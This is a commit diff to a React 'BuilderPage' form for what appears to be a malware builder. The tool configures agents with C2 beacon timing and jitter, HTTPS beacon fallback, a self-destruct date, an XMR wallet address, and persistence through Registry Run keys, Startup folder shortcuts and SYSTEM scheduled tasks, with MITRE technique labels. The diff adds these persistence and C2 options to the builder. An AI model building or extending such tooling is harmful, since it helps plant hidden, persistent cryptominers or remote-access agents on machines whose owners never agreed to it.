feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -1129,6 +1129,81 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
description="C2 reconnect timing and optional agent self-destruct date."
|
||||
/>
|
||||
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon interval (sec)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="5"
|
||||
value={form.beacon_interval_sec ?? ''}
|
||||
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon jitter (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
placeholder="0"
|
||||
value={form.beacon_jitter_pct ?? ''}
|
||||
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Kill after (days, 0=never)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
placeholder="0"
|
||||
value={form.agent_kill_after_days ?? ''}
|
||||
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginTop: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.https_beacon_fallback !== false && (
|
||||
form.https_beacon_fallback === true ||
|
||||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
|
||||
)}
|
||||
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
|
||||
/>
|
||||
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
|
||||
</label>
|
||||
<FieldHint field="https_beacon_fallback" />
|
||||
</div>
|
||||
{form.https_beacon_fallback !== false && (
|
||||
<div className="form-group">
|
||||
<label className="label">HTTPS fallback after (min)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="3"
|
||||
value={form.https_beacon_after_min ?? ''}
|
||||
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
@@ -1683,6 +1758,59 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.autostart_mode ?? ''}
|
||||
disabled={fieldMeta.autostart_mode?.disabled}
|
||||
onChange={(e) => updateField('autostart_mode', e.target.value)}
|
||||
>
|
||||
<option value="">Legacy (linked to checkbox above)</option>
|
||||
<option value="none">None (Run As hooks only)</option>
|
||||
<option value="logon_run">User logon — Registry Run (HKCU)</option>
|
||||
<option value="logon_startup_folder">User logon — Startup folder shortcut</option>
|
||||
<option value="logon_task">User logon — Scheduled task (ONLOGON)</option>
|
||||
<option value="boot_task">System boot — Scheduled task (ONSTART / SYSTEM)</option>
|
||||
<option value="all">All of the above</option>
|
||||
</select>
|
||||
<FieldHint field="autostart_mode" />
|
||||
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
|
||||
<div className="checkbox-grid">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
|
||||
disabled={fieldMeta.registry_run_hkcu?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
|
||||
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
|
||||
disabled={fieldMeta.registry_run_once?.disabled}
|
||||
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
|
||||
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
|
||||
disabled={fieldMeta.registry_run_hklm?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
|
||||
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
|
||||
disabled={fieldMeta.registry_explorer_run?.disabled}
|
||||
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
|
||||
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<p className="field-hint subtle">
|
||||
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
|
||||
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
|
||||
</p>
|
||||
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
Reference in New Issue
Block a user